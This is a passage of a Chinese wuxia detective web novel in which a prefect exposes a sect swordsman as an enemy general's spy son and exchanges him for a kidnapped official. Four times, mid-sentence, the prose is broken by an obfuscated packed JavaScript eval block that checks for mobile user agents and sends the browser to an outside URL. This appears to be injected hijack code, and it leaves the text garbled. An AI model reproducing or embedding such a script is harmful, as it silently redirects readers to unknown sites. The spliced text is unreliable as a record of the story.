“不会啊,那些不是痛苦的回忆,而是美好的记忆。我的眼前虽无色彩,但我心里有,记忆里有,就足够了。云大人既然喜欢黄梅,我给你折一枝吧。” “好啊,谢谢。” 这些黄梅长得挺高的,云水谣自己还真够不到。安正则会轻功,想摘哪枝就摘哪枝。 可是,安正则却一直没动弹。 云水谣疑惑地看着他,安正则笑了笑:“云大人,你得告诉我开花的枝条在什么方位。” 云水谣恍然大悟,暗叹自己的粗心,说道:“在你头顶斜上方偏右,向上三尺的地方,有一枝盛开的梅花。” 安正则腾空而起,手轻轻一探,就把那支梅花折了下来。他的动作十分流畅,就像一朵被风吹动的云。 他把黄梅递给云水谣,问道:“是这枝吗?” “对。” 云水谣接过梅花,十分开心,闻了闻梅花清幽的香气。 “谢谢安公子,我回去插在花瓶里。” “好,云大人慢走。” 云水谣翻身上马,一手握着缰绳,一手拿着梅花,慢慢地前进。她不敢策马飞奔,怕梅花在路上掉了。 走了一阵后,她忽然回过头,发现安正则还站在黄梅树下,面朝云水谣的方向。虽然他不会再有目光了,但云水谣还是觉得,他的目光一直追随着自己。 这是一种很微妙的感觉,只有用心灵才能捕捉到。 一人一树,在猎猎西风中,凝聚成永恒的风景。 —— 两天后,去打探消息的甲风等几名暗卫回来了。 之前云水谣让他们去打听,有谁的武器是弯刀伞。 甲风对云水谣说道:“大人,江湖上使用弯刀伞的人的确还有几个,但他们都离幽州千里之遥,也从来没来过幽州,赵刺史一案应该跟他们无关。另外,嵩山派有个叫高文锦的女弟子,会使用弯刀伞,有人见到她在幽州出没过,不知是不是她。” 云水谣道:“高文锦已经找到了,被关押在监狱里,但还不能确定她是不是掳走赵刺史的人。除了她之外还有别人吗?” “没打听到别人,不过据一些居住在嵩山派附近的江湖人士说,他们有时候会见到一个男人使用弯刀伞跟猛兽搏斗,但没看清那个男人的模样。” “嵩山派不是只有高文锦会使用弯刀伞吗?那他们见到的男人是谁?” “这就不清楚了。” “会不会是高文锦的师父?她说是她师父把弯刀伞传给她的。” “她师父已故去多年,但目击者是在近一两年见到有男人在使用弯刀伞的。” “这就怪了……那个男人的身形如何?穿什么衣服?” “他们记不真切了,好像是穿深色衣服,其他细节没注意。” 云水谣想了想,忽然灵光一闪。 接着,她又去大牢找了高文锦。 高文锦虽然被关了好几天,但气色还不错,神情也如常,似乎并不因为入狱而感到恐慌、压抑或委屈。 由此可知,她的内心很强大。 由于她只是嫌疑人,不是真正的犯人,她的房间条件还不错,有床,有桌椅,桌上还放着茶水和餐盘,盘子里的食物都吃得差不多了。 她看见了云水谣,很自然地站了起来,招呼道:“云大人来了,请坐吧。这里简陋,也没什么能给您吃的,您若不嫌弃,我倒杯茶给你。” 云水谣随和道:“没事,我自己倒就行,你也坐吧。” 云水谣给自己和高文锦都倒了一杯茶。 接着,她问道:“高姑娘,像你们这样的江湖人士,是不是不怎么在意朝廷和国家的事?” 高文锦道:“这也要分人。有些人只想独来独往,不关心外界的事。有些侠客也会忧国忧民,如果遇到鱼肉乡里的贪官,可能会直接刺杀;如果遇到战事,可能会为国从军。有些人是偏□□的,只想自己发财享乐,就算做再多坏事也无所谓。 像我们嵩山派是正道,提倡行侠仗义,不可仗势欺人或是杀人越货。不过,我们还有一条祖训,就是不得招惹朝廷。所以,即便是一个官员做了很多过分的事,我们也不会管。 像我之前帮着赵刺史攻城一事,其实嵩山派并不提倡,但也不反对,只要自己确定做的不是坏事就可以了。后来我觉得因为自己的插手,使梅花县变成了一个棘手的问题,不论是梅花县的百姓还是幽州的官兵,似乎都有怨言。 我一直在反思自己做得对不对,我觉得自己一开始不该帮着赵刺史攻城。如果像赵刺史的幕僚说的那样,不要急于开战,先采取怀柔政策,安抚边境民心,再潜移默化地改变梅花县等边境城池里百姓的思想,让他们逐渐归心于大夏,到那时候再收复失地,会更有利于管理。 但赵刺史没听,还说这是腐儒之见。他又对我说梅花县的百姓过得如何凄惨,只要我帮着他收复失地,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068509|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是梅花县百姓的救星,所以我才同意。 现在想想,门派不让我们掺和朝廷的事是对的,因为我们不懂政事,不懂兵法,很多时候分不清自己做的到底是不是好事,还是混江湖简单一些。” 云水谣道:“原来如此。那若是有敌国的奸细混进大夏,危害大夏的江山社稷,你们管不管呢?” 高文锦想了想,道:“按理说,这种机密不是我们这种江湖人能知道的。不过,如果真的让我知道谁是奸细,我肯定会杀了他。虽然这表面上跟我没什么关系,但奸细会害百姓、害国家,若是国家动荡,势必影响到所有人,像我们这样的江湖帮派也难以安生。” “那若是奸细就在你身边,甚至跟你关系很好呢?” “如果是这样,那我要首先确定他是不是真的奸细,必须要有确凿证据才行。如果是,那也只能跟他割席断交。至于能不能狠下心来杀了他,我现在还不能确定,但包庇他是万万不会的。” “高姑娘如此深明大义,本官就放心了。对了,你师兄这段时间是不是也在幽州?” “是,我是跟他一块游历幽州的。后来他要闭关钻研一门武功,我们就暂时分开了。前几日您说他来找过我,想必他是出关了,那他的武学应该更上一层楼了。” 说起这个,高文锦面带笑容,似乎很为她师兄自豪。 云水谣忽然说道:“高姑娘,其实你师兄也会用弯刀伞吧?是你教给他的,对吗?” 高文锦愣了一下,眼神有些心虚和慌乱,接着她沉默了。 云水谣也没催她,耐心等着她自己开口。 过了一会,高文锦有些歉疚地说道:“没错,我之前骗了您,还请大人勿怪。我师兄的确会用弯刀伞,是我教的。之前您说城墙上有弯刀伞的痕迹,有人用弯刀伞跟赵刺史打斗,掳走了赵刺史。 我很确定不是我和我师兄做的,又怕官府怀疑到他,所以干脆就不把他会用弯刀伞的事说出来。如今大人已经猜到了,那我实话实说也没什么。虽然我师兄会用弯刀伞,但他绝对跟此事无关。” 云水谣道:“你如何确定此事跟他无关?” “因为他之前一直在闭关,而且他是个好人。” “他一直在闭关,是你亲眼所见吗?你每天都去他闭关之处查看了?” “没有,闭关不能被人打扰,所以闭关之处绝对保密,他连我也没告诉。但他不可能说谎的。” “任何一个人都存在说谎的可能性,哪怕你再相信他。而且,你如何断定他就是一个好人?” “这……自然是通过朝夕相处看出来的。” “难道他就不能伪装吗?” “哪有人能伪装那么多年?” “怎么会没有?善于伪装的人,才能做好一个细作啊。” 高文锦睁大了眼睛,眼神中有不解、惊讶,还有几分气愤:“您怎么能说我师兄是细作?这么多年来,他一直好好练功,爱护同门,行侠仗义,我都是看在眼里的。大人若不信,可以派人去我们门派打听一下。” 172.失窃 云水谣道:“高姑娘,你一直很理智,可是一提到你师兄,你就让情绪占了上风。我刚才之所以这样说,也不是随口污蔑,而是根据现有的证据进行推断。你不妨听听我的思路,就知道我为何会得出如此结论了。” 高文锦冷静了下来,认真地看着云水谣,等她说下去。 云水谣道:“第一,能使用弯刀伞的,当今世上不超过十个人。而其他几人都在很远的地方,从来没来过幽州,可以排除。那么,嫌疑人就只剩下你和你师兄了。而你能确定不是自己,那掳走赵刺史的人,除了你师兄,还能有谁? 第二,根据我的情报系统,有人在嵩山派附近见到过一个男人使用弯刀伞。而之前我一直认为,整个嵩山派只有你会用弯刀伞。如果有一个男人也会用,那这个男人八成是跟你最为亲近的师兄。我刚才问了你,你也承认了。 第三点,也是很重要的一点,就是你师兄来找我的时候,我问过他,除了高文锦之外,还有没有人会用弯刀伞,那个人很有可能就是真凶。可是你师兄很笃定地对我说,没有听说过。 也就是说,他在我面前否认了自己也会用弯刀伞的事实。如果他心里没鬼,为何要否认?他承认了,最多也只是被关几天,很快就会被释放的。除非,他就是那个用弯刀伞攻击赵刺史,并将赵刺史掳走的人。 如果他跟此事无关,却不说实话,这说明他的品行也没有那么好。如果他跟此事有关,而选择不说实话,那他的品行就更有问题了,你仔细想想。” 高文锦不敢相信,但云水谣说得笃定,她心里判断云水谣不会骗她。那么,她师兄确实否认了自己会使用弯刀伞的事…… 高文锦辩驳道:“我师兄可能是怕被官府调查,虽然他问心无愧,但被调查一番也挺麻烦的,所以他干脆就直接否认了,反正他心里知道不是自己就够了。 我小的时候,有一次进师父的书房,发现他很喜欢的一个瓷器摔碎了。我怕师父会认为是我摔碎的,我就赶紧跑了。后来师父问我有没有进过他书房,我就直接否认了。因为我知道瓷器碎了跟自己无关,承认自己进过书房反而给自己惹上嫌疑,会有点麻烦。 就算事后调查发现不是我,但在真相大白之前,我可能会被责骂、会受罚,那些委屈也是要我自己受的。我当时忙着练功,根本没时间纠缠在这种小事上。后来师父问了其他人,发现是另一个弟子打碎的。 总之,我想说,否认一些事实,并不代表心里有鬼,有时候只是想避免一些麻烦。” 云水谣:“这只是你的猜测,你怎么知道你师兄就一定是这样想的呢?也许他知道你一定不会出卖他,只要他自己也不承认,就可以一直逍遥法外了。等你无罪释放了,你也不会怀疑他,只会庆幸还好师兄没像你一样坐了几天牢。 可能是因为你们从小一起长大,你太相信他了。但万一他就是敌国的细作呢?万一因为你的维护,他害死了更多的人,那你良心能过得去吗?实话告诉你,赵刺史已经被瀚海国掳走了,所以你师兄一定跟瀚海国有所勾.结。” 高文锦愣了好一会,说道:“我相信自己的判断,但我也相信证据。只是,还有一个疑点,就是我师兄根本没有办法把赵刺史单独约出去,因为赵刺史根本不认识他。” “也许,他是以你的名义约赵刺史出去的。他可以飞箭传书,说你有危险,或者说,你想到了继续攻打瀚海国的策略,但事情机密,只能他一个人听,那赵刺史自然会赴约。” “如此说来,我师兄确实有嫌疑。但是他若真的把赵刺史掳到了瀚海国,为何不马上逃走,而要在幽州逗留,甚至来衙门寻我?” 云水谣:“因为他觉得自己肯定不会暴露,你这个师妹全然相信他,不会说出任何对他不利的话。那他就可以继续在嵩山派混,继续当江湖上赫赫有名的侠客,谋取更大的利益。大夏侠客的身份,是一个很好的伪装,他为何要弃之不用? 而且,继续跟你搞好关系,一定是对他有利的。比如,你之前已经把弯刀伞的使用方法教给了他,也许以后能给他一些别的好处呢?” 高文锦又道:“可是,他如果真的是瀚海国的细作,为何之前我帮着赵刺史攻打瀚海国,他不阻止我?他完全可以以门派的规矩来约束我,我也不会起疑的。赵刺史攻下了梅花县,对瀚海国也是一大损失。” “也许,他当时确实在闭关,不知道你在做什么。也许,他权衡利弊,觉得你是否帮着攻打梅花县不重要,重要的是你跟赵刺史关系好,他就可以借着你的名义,约出赵刺史并掳走他。瀚海国那边,说不定能从赵刺史口中得到更多的机密和利益。” 云水谣的分析有理有据,高文锦也不是胡搅蛮缠的人,她非常理性,觉得云水谣所说的有道理。因此,她也没有一味地抗拒,而是说道:“等我师兄回衙门来找我时,你们可以抓住他,审问一下。他是有罪还是无罪,就都清楚了。” “我想,他短时间内不会回来。我让他去寻找一些对你有利的证据,如果他自己就是真凶,他从哪去找证据来为你开脱?他肯定会游荡在外,假装在为你找证据。因此,我需要你的帮助。” “大人的意思是,让我设法将师兄骗回来?” “对,他现在肯定想不到我已经对他起疑,只要你用门派的方法联络他,他应该会马上回来找你,因为他暂时不想舍弃嵩山派弟子的身份,也不想舍弃跟你的关系。” 高文锦点头道:“可以。让他接受官府的调查,如果无罪,也能洗清嫌疑。若是有罪——那也能早点发现他的真面目,以免他做出更多坏事。” 见高文锦如此配合,云水谣十分高兴且感激。 她跟太多狡猾的女人打过交道了,高文锦的存在就像一阵清风,让她疲惫顿消。 高文锦道:“我们门派有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077233|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种特制的烟花,我放到空中,如果师兄看见,就会过来的。” 云水谣点了点头,并跟她制定了计划。 高文锦离开了衙门,来到一处空旷的郊外放了一个烟花。 然后,她等在原地。 大约两个时辰后,有一个年轻人骑马出现,正是高文锦的师兄郑盈尺。 他很快来到高文锦身边,翻身下马,笑道:“师妹,你被放出来了?” 高文锦道:“是的,官府调查了一番,发现我没问题,就让我离开了。” “那可太好了,我带你去吃饭,好好庆祝一下。” 郑盈尺一边说着,一边往前走。 这时,高文锦快速出手,点了他师兄的几个大穴。 郑盈尺动弹不得,惊讶道:“文锦,你干什么?” 高文锦有些歉疚:“师兄,刺史大人有事想问问你,但又怕你不配合,所以叫我来请你。” 郑盈尺叹了口气,道:“那你直接跟我说就行了,我会去官府的,你何必点住我的穴道?搞得跟捉拿钦犯似的。” 高文锦也有些良心不安:“师兄,真抱歉。” 躲在暗处的暗卫们出现,把郑盈尺带到了衙门。 郑盈尺被绑住了,倒是也没生气,而是平静地对云水谣说道:“大人,您为何抓我?我所犯何罪?” 云水谣问道:“你会使用弯刀伞,对吗?” 郑盈尺愣了一下,道:“确实如此。一开始我没说实话,是怕惹来麻烦,毕竟赵刺史是被使用弯刀伞的人掳走的。如果我承认,就连我也要被留下调查,就没人替我师妹在外面奔走了。所以我才选择否认,并非是心里有鬼。” “你怎么证明不是你?” “这……大人难道有确凿证据证明是我?” “你和你师妹都会使用弯刀伞,所以真凶就在你们两人当中,不存在其他人。虽然江湖上有其他人会用弯刀伞,但他们不具备作案时间和条件。” “大人,实不相瞒,我的弯刀伞已经失窃数月了,我也不知道是谁偷走了,想必是那个人掳走了赵刺史。” “弯刀伞极难使用,就算被人偷走,他肯定没法运用自如。” “这就不知道了,也许那个人是个武学奇才,稍微研究了一下就会用。” “五月十号,也就是赵刺史失踪那日,你在哪里?” “我还在闭关。” “可有人能证明?” “闭关只能自己一个人,肯定无人证明。但是大人同样也无法证明,那天我出现在了梅花县的城墙上。” “你闭关之处在哪里?” “在一个山洞中,请大人给我一张地图,我标注出来。” 云水谣给了他一张地形图,他果然标注出了一个地点,道:“就是这里,我在那个山洞生活了数月,里面还有一些生活用品,大人可以派人去查。” 173.送信 云水谣派了一队衙役,带着地图去找那个山洞。 不过找到了也没什么作用,里面就算有生活用品,也只能证明郑盈尺在里面生活过,没法确定他生活了多久,是不是每天都在那里。 不过,出于证据的完整,调查是必须要调查的。 云水谣又命人画下郑盈尺的画像数十张,张贴在各处,询问百姓在赵刺史失踪那天是否见过此人。 郑盈尺始终面色如常,像是毫不心虚的模样。 接着,云水谣对高文锦道:“高姑娘,你师兄固然有嫌疑,你也不能说完全洗清了嫌疑。毕竟赵刺史是被一个使用弯月伞的人掳走的,而你和你师兄都会用这种武器。所以,你们两人都要暂时留在监房中,等待后续调查结果。” 高文锦点头道:“我明白,我会继续留下的。” 她看了师兄郑盈尺一眼,神色有些复杂,欲言又止,最终还是什么都没说。 接着,他们师兄妹二人都被带到了大牢,分别关押,且牢房相距较远,以防他们互相串供。 虽然云水谣心里更相信高文锦,但她是官员,不能仅凭感觉做事。也许,是高文锦和她师兄一起把赵刺史掳走的,毕竟两个人一起动手胜算大点。外表的坦荡是可以伪装的,云水谣也多次见识过这种伪装。 不到最后一刻,她不会下定论。 第二天,去调查郑盈尺闭关之地的衙役们回来了,向云水谣禀告道:“大人,我们去了郑盈尺闭关的山洞,里面果然有一些锅碗瓢盆、被子枕头等生活用品,看样式像是男人用的。还有一些食物。除此之外,没发现别的,也没有弯刀伞。” 云水谣点了点头,道:“好,诸位辛苦了,下去领赏吧。” 跟她所料的一样,那个山洞中不会有什么重要线索。郑盈尺的弯刀伞应该被他藏在了别的地方,他说失窃了,也暂时没法戳破他的谎言。 现在,她只能寄希望于幽州百姓了。希望赵刺史失踪那天,有人见过郑盈尺。 一个时辰后,有衙役来报:“大人,门外来了一个百姓,说是有郑盈尺相关的线索。” 云水谣喜道:“快请他进来。” 很快,一个轻健矫捷的年轻人走了进来,对云水谣行礼道:“草民叩见刺史大人。” 云水谣道:“起来说话吧。你有郑盈尺的线索?五月十号那天,你是不是见过他?” “没见过。不过,今天小人看告示栏上有他的画像,就站在一边看。这时,小人听见旁边有两个人在说话。其中一个人说:‘少主被抓进大牢了,怎么办?’另一个说:‘先别慌,少主应该能凭自己的本事脱身。如果实在脱不了身,我们再想办法。’他们俩说完,就悄悄退了出去。我听了他们的话,觉得这郑盈尺的身份一定不简单。他们称呼郑盈尺为少主,说明他们肯定是郑盈尺父母的属下,那郑盈尺应该有一个很厉害的隐藏身份。” 云水谣道:“你说得有道理。你可有看清那两人的模样?” “没有。那两个人打扮得跟普通百姓没区别,而且一直低着头,行动又快,说完话后一眨眼就不见了。我当时是站在他们身后的,所以没看清脸。” “那他们的身形呢?有没有特别高或特别矮之类的?” “没有,他们的身材跟普通人差不多,在人群中毫不显眼。” “你还知道别的吗?” “不知道了。” 云水谣给了他赏钱,他开心地离开了。 这个百姓的话,给了云水谣很大的启发。郑盈尺在嵩山派内虽然地位较高,但他并不是掌门之子,将来不会继承嵩山派,所以嵩山派的人不会称他为“少主”。 那么,也就是说,他在瀚海国内的身份,当得起“少主”这个称呼。他并非普通的细作,可能是个大有来头的世家子弟。 只是,光凭这一点,还猜不出他的身份。 云水谣又等了两日,没有其他百姓来提供线索。 她觉得自己不能干等下去,不如去安将军那里,看看安将军是否有什么进展。 于是,云水谣往安亭振将军的灞桥营而去。 到了灞桥营后,云水谣让士兵进去通报。 士兵道:“安将军在大帐里,大人直接进去就是。” 云水谣走进主帅大帐,发现安将军坐在书案前,正在翻阅着什么。 云水谣见礼之后,问道:“安将军,您可想到救赵刺史的办法了?” 安亭振起身道:“暂时没有。我派探子去易城那边看过,没什么突破口,而且也不知道赵刺史具体被关在哪里。如果直接攻打易城,会损失惨重,所以我打算再等等机会。不知云大人这边可有进展?” 云水谣便把连日来发生的事说了。 安将军道:“这么说,郑盈尺并非普通的探子,他在瀚海国内身份不凡?” 云水谣点头:“我也是这么想的。” 这时,云水谣注意到书案上摆着的书里竟然有画像,她本以为安将军在看兵书。她随口问道:“这是什么书?” 安亭振笑道:“哦,这不是书,是我把自己遇到的劲敌画在上面,随时翻看,督促自己提升武功和智谋,有一天能胜过这些劲敌。” 云水谣道:“我可以看看吗?” “可以。” 安将军直接把这本书递给了云水谣。 云水谣随便翻看,上面每一页都画了一个人像,标注了此人的身份来历、擅长的东西、什么时候跟安将军交战过等信息。大部分都是敌国的文臣武将,也有少部分是□□的首领。 其中有一张画像引起了云水谣的注意,因为这个人像的双眉是黄褐色的,而非跟常人一样是黑色。此人看着威猛雄壮,仔细看时,又有几分熟悉之感。 这张画像下面标注着:“瀚海国虎翼军大将军,金冕。擅使流星锤、长枪,力大无比。” 安亭振道:“此人就是易城现在的守将,我曾败于他手。为了战胜他,我现在天天拎着百斤重的石锁,打熬力气。” 云水谣心不在焉地听着。她的注意力全在这个人的相貌上。 忽然,她想到了什么,对安将军道:“安将军,您这儿有空白的纸吗?我想借用一下。” “有。” 安亭振让人取纸笔来。 云水谣提起笔,在空白的纸上画了一张人像。这张人像的双眉也是偏黄的。 云水谣问安亭振:“安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081955|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将军,您看此人像不像易城守将金冕?” 安亭振看了几眼,道:“确实有几分相似,只是比金冕看着年轻些,但那双眉毛倒很相似。你画的这人是谁?” “郑盈尺,嵩山派成员,高文锦的师兄。” 安亭振恍然大悟:“你是怀疑,郑盈尺就是易城守将金冕的儿子?” “对,他们容颜相似,且都有黄眉。而且,又有两个人称郑盈尺为少主。我想,此事八九不离十了。” 安将军眼神发亮,以拳捶掌,笑道:“如果是真的,那我们拿郑盈尺去换赵刺史回来,岂不是毫无伤亡便能达成目的?郑盈尺这么优秀的儿子,在金冕心中应该还是有些分量的。” 郑盈尺早就是江湖上成名已久的侠客,武功高强,在嵩山派内也很有地位。而且,他一出手就能擒住赵刺史,送往易城,可见本领不小。 那么,易城守将金冕应该不会轻易舍弃这个儿子。 云水谣道:“我先去找郑盈尺,试探一下他到底是不是金冕的儿子。” 安亭振点头:“若有了消息,马上派人来告知我。” “好。对了,安公子呢?他是不是回京城了?” “没有,安家在幽州城内也有别院,他住到别院里了。他这两天身子有些不适,要等养好病之后再走。” “他得了什么病?” “水土不服,不是什么大病。” 听见安正则没走,云水谣忽然有些开心,也不知道为什么。 她想有空的时候再去看看安正则,现在还是公务要紧。 她骑马回了衙门,直接去了牢房,找到郑盈尺。 郑盈尺抬头道:“刺史大人,来此有何贵干?” 云水谣盯着他看了一会,忽然道:“郑盈尺,或者我该叫你金盈尺才对?” 郑盈尺的瞳孔骤然收缩,眼神变得犀利而防备,脸部肌肉也有些紧绷。 很快,他就放松下来,神色恢复如常。 光看这一瞬间的表情,云水谣已经知道郑盈尺的真实身份了。 郑盈尺勉强笑道:“大人怎么把我的姓都改了?我姓郑,不姓金。” 云水谣随便“嗯”了一声,也不继续跟郑盈尺说话,直接就走了。她不需要更多的证据,因为这不是在断案。她只要确定自己的猜测是真的,并且能把心里的计划推行下去就可以了。 郑盈尺一个人在牢房中惊疑不定。 云水谣走出牢房,对一名暗卫道:“你去灞桥营通知安亭振将军,说计划可以实行了。” 暗卫道:“是。” 灞桥营里,安亭振接到了暗卫传的讯息,微微一笑,提笔写下一封书信:“仆骠骑将军安亭振再拜金冕将军足下:将军之爱子郑盈尺,现在幽州官府之中。仆待之如亲子,嘘寒问暖,关怀备至,不敢有丝毫懈怠。然郑贤侄久离故土,归心似箭。而大夏、瀚海两国交战未歇,将士互怀仇怨。某虽欲送还令郎,而将士不许,多加阻挠。某闻前任幽州刺史赵仁顺在将军军营中,若将军大义释之,大夏将士必怀感激,不敢羁縻令郎,使将军思子心切,寝食难安。瀚海、大夏素为友邦,仆与将军亲如兄弟,将军必不忍令仆为难。切切。谨再拜。” 174.交换 写好书信后,安亭振叫来一个士兵,笑嘻嘻地道:“你把这封书信绑在箭上,射到易城的城墙上。” 士兵道:“是。” 一个时辰后,易城那边射回来一支箭,箭上绑着易城守将金冕的信。 信上说,他不认识什么郑盈尺,也没抓走赵仁顺,安将军所言,实在不解。 安亭振看了信之后,冷笑一声,来到幽州大牢,把郑盈尺的眉毛全给剃了,装在袋子里。 然后,他把装着眉毛的袋子绑在箭上,又射到了易城的城墙上,还附书信一封。信上写着,若是金冕将军还是嘴硬不承认,下次割掉的就不是郑盈尺的眉毛,而是身上的其他部件了。 金冕吓了一跳,赶紧派使者来灞桥营,说愿意用赵刺史换郑盈尺,还请安将军不要加害郑盈尺,否则后果自负。 安亭振笑着对使者说道:“你们将军想跟我玩心眼,还差点意思。回去告诉你们将军,赵刺史回来时是什么样,他儿子过去时就是什么样。” 使者听得冷汗直流,唯唯应声:“是,多谢安将军高抬贵手。” 双方约定三日后的午时交换人质。 云水谣得知这一消息后,也十分激动,三日后亲自来到了军营。 幽州失踪了四位刺史,上次虽然找到了董商衡刺史,但他已经死了。这对云水谣来说自然是一大憾事。 这次的赵刺史还活着,而且很快就能回来了,云水谣十分高兴。一来是因为能救下赵刺史,二来也是因为赵刺史回来后,自己也算立了功,也许能得到朝廷的褒奖。 没了眉毛的郑盈尺被士兵们从大牢中提了出来,他原先也算相貌堂堂,但没了眉毛之后,怎么看怎么怪异。 他直到现在才知道,自己的真实身份暴露了,即将作为人质,去交换赵刺史。 他不明白自己怎么暴露的,但现在深究这个没意义了。 本来他父亲金冕将军想让他继续潜伏,做更多事,但现在不行了。也不知道回到父亲身边后,会不会被责罚。 很快,云水谣带着郑盈尺来到了灞桥营。 安亭振对云水谣说道:“离午时还有一会,等一下我们去梅花县的城墙那边交换人质。” 云水谣点了点头。 接着,她问郑盈尺:“郑盈尺,都到这个时候了,你可以说一下你是怎么掳走赵刺史的了吧?” 郑盈尺道:“赵刺史上任后,我爹听说他久在行伍,必定知晓许多军事机密,因此便叫我设法将他掳走,送到我爹的军营中。当时,赵刺史正在调查前两任刺史失踪一事,我便打算利用这件事。 于是,我偷偷往赵刺史的房中射了一箭,箭上绑着一封书信,说我知道前两任刺史身在何处。如果赵刺史想知道的话,就孤身一人到梅花县的城墙上来,并且要屏退所有士兵,我才会出现便告知他。 这是一封匿名信,我并没有留下自己的姓名。我想,不管赵刺史信不信,总会抱着试试看的态度来见我。果然,他按照约定的时间到了梅花县的城墙上,并且找了个借口让所有的士兵离开。 我其实并不确定自己能否很快擒住赵刺史,因为赵刺史的功夫也很高。于是,我想了个计策。我找了第一任失踪刺史陆文远的画像,易容成陆文远的样子,去见赵刺史。 我想,赵刺史见到易容后的我,一定会很高兴,从而失于防范,我就可以趁机偷袭他。 果然,我以陆文远刺史的模样去见他,他大惊失色,问我怎么会在这里。我二话不说,直接攻击他。他慌乱之下,招式大乱,不成章法,我没过多久就擒住了他,并把他打晕。不过,在打斗过程中,我的弯刀伞还是在城墙上留下了痕迹。 当时我想,弯刀伞这种奇门兵刃,一般不会有人认识,再加上时间紧急,守城的士兵随时可能回来,所以我就没处理城墙上的痕迹,直接把赵刺史掳走了。 我把他送到了易城,守城的士兵认得我,直接把赵刺史带走,我就回来了。” 云水谣问道:“你带着你师妹游历幽州,就是为了替你父亲办事,假托游历之名?” “对。” “你的真实身份,和你做的事,你师妹高文锦知不知道?” “她不知道。” “既然你有机密之事要做,为何要带上你师妹?” “因为我跟她从小关系就很亲近,情同兄妹,出门时经常一起。如果这次不带她,会让她起疑心。不过,因为男女有别,而且她喜欢自由,我们每次到一个新地方,都是分开住的,所以我无论做什么,都不容易被她发现,只是有事时才联络。” “既然梅花县属于瀚海国,你师妹要帮着赵刺史攻打梅花县时,你为何不阻止?” “那时候我确实在闭关,不知道我师妹在做什么。等我出关后,发现梅花县已经被赵刺史打下来了。” “你是不是也有一把弯刀伞?放在哪里了?” “我送到我父亲那边了。” “怪不得我们一直找不到。你是什么时候来大夏的?” “我九岁那年,伪装成一个孤儿,加入了大夏的嵩山派。从那以后,我就没有回过瀚海国,一直在嵩山派练武,学成之后游历江湖。我爹若要与我联系,会私下派人来找我。” 云水谣想起了之前把郑盈尺的画像张贴在告示栏时,曾有两个人私下称呼郑盈尺为“少主”,被一个百姓听见,报告给了云水谣。 那么,在幽州城内,跟郑盈尺相关的细作至少还有两名,都是金冕将军的下属。 云水谣问道:“你爹的下属还有一些在幽州城里,他们是谁?” “我不知道。” “你一定认识他们。” “我确实不知。” 云水谣有些恼火。既然郑盈尺和他父亲是通过这些下属联系的,郑盈尺就不可能不认识这些下属。 他笃定了云水谣不敢在这个时候伤害他,因为他现在还有用,还要用来换回赵刺史。 云水谣顾全大局,也确实没法把他怎么样。 反正这些细作迟早会被找到的,无非就是多费些时候罢了。 安亭振带着云水谣和郑盈尺等人来到了梅花县的城墙。此时已近午时,远远看见易城的城门打开了,一群士兵押着一个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085994|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉走了出来。 那大汉被绑得严严实实的,应该就是赵仁顺刺史了。 因隔得较远,云水谣也没看清赵刺史的模样。 安亭振对云水谣道:“我前去交换人质,云大人躲远些,注意安全。” 云水谣微笑道:“我会站在安全之处,安将军不必为我担心。” 云水谣站到了一群侍卫之后。 她知道,这会虽说只是交换人质,但万一有什么变故,也需要提前做好防范。 自己没练过武,也对战场不了解,需要保护好自己,不给其他人拖后腿。 好在交换仪式十分顺利,郑盈尺回了易城那边,赵仁顺刺史也被救了回来。 赵刺史是个魁梧的汉子,长相硬朗,看着饱经风霜,脸上有一些皱纹。 他脸色不好,嘴唇发白,看起来在易城那边吃了不少苦。 安亭振问道:“赵将军,您没事吧?” 赵仁顺道:“我被抓到易城之后,易城守将金冕想从我这里打听大夏的军事机密,还想策反我。我没同意,他就隔三差五地折磨我。不过都是些小手段,我根本没放在眼里。受了些小伤,很快能痊愈。” 云水谣道:“赵将军辛苦了,您还需休养一阵。您的官舍已经打扫好了,还是原先的那间,我让人备好了热水和食物,另外还请了大夫给您瞧瞧。” 赵仁顺感激道:“多谢。不知这位姑娘是?” 安亭振介绍道:“她是幽州新任刺史云水谣。” “哦。” 